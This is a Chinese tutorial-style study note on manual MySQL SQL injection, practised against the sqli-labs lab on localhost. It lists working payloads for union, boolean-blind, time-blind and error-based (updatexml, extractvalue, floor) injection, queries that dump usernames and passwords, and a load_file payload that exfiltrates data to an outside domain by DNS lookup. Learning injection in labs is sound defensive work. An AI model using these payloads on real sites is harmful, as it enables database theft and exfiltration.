时间:2021-07-01 10:21:17 帮助过:23人阅读
?SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。本笔记环境为MySQL数据库。
CREATE DATABASE database_nameDROP DATABASE database_nameCREATE TABLE table_name(
#字段1 数据类型,
name VARCHAR(20),
id INT(8)
);
INSERT INTO table_name (name,id) VALUES(‘张三‘,1);DELETE FROM table_name WHERE id=1;SELECT name FROM table_name WHERE id=1;SHOW DATABASES;的结果就是取自该表的SCHEMA_NAME

select schema_name from information_schema.schemata;select table_name from information_schema.tables where table_schema=‘想查表的库名‘;select column_name from information_schema.columns where table_name=‘想查字段的表名‘;经过上述三个语句 已经可以查询所有的表和字段信息 就可根据查询语句查询任意信息
栗子: select password,username from security.users; (查询security库中users表中所有password和username信息)

user();/current_user(); 查询当前用户
@@basedir; 数据库安装路径 / @@datadir; 数据库路径
@@version_compile_os; 查询操作系统版本
concat , concat_ws(用字符将参数拼接起来) , group_concatselect group_concat(concat_ws(‘~‘,username,password)) from security.users;
substr(从第n位开始,截取m位):select substr((selsect username from users limit 0,1),1,2);mid(从第n位开始,截取m位):select mid(‘martin‘,2,3);left(从左开始,截取n位):select left(‘martin‘,2);right(从右开始,截取n位):select right(‘martin‘,2);locate(返回第一个字符串首次出现在第二个字符出现的位置):select locate(‘martin‘,‘12432martin‘);char)ascii:select ascii(‘a‘);ord:select ord(‘a‘);
select length(database()); 当前数据库名称的长度count 计算数目select sleep(5); 延时5秒 常用于时间盲注if:语法if(exp1,exp2,exp3); 如果exp1为真,执行exp2,否则执行exp3#
--+(浏览器常用)
/*/
/*!*/

根据提示 用GET方法提交ID参数

改变URL 发现报错

查看源码

构造URL:http://127.0.0.1/sqli/Less-1/?id=1‘ and 1 = 1 --+(1=1 正常 1=2报错)



$sql="select * from user where password like ‘%$pwd%‘ order by password";m‘and 1=1 and ‘%‘=‘ 则会构成注入select * from user where password like ‘%m‘and 1=1 and ‘%‘=‘%‘ order by password

union select 或 union all select)

‘ 没有出现回显
length来猜取库名 表名长度 如下图
substr来遍历出数据库名的字符?id=1‘ and ascii(substr(database(),1,1))>n --+ (使用BP爆破)
sleep函数已经被带入后端处理了 证明存在注入http://localhost/sqli/Less-9/?id=1%27%20and%20if%20(length(database())=8,sleep(5),1)--+
mysql.ini中 secure_file_priv必须为空load_file(concat(‘\\\\‘,执行的语句,‘.自行注册\\abc‘))--+?id=1‘ and (updatexml(1,concat(0x7e,(SQL语句),0x7e),1));--+
?id=1‘ and (extractvalue(1,concat(0x7e,(SQL语句),0x7e)));--+
?id=1‘ and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+



基础Web漏洞-SQL注入入门(手工注入篇)
标签:mit href 数据库 漏洞 宽字节注入 创建 用户 命令 name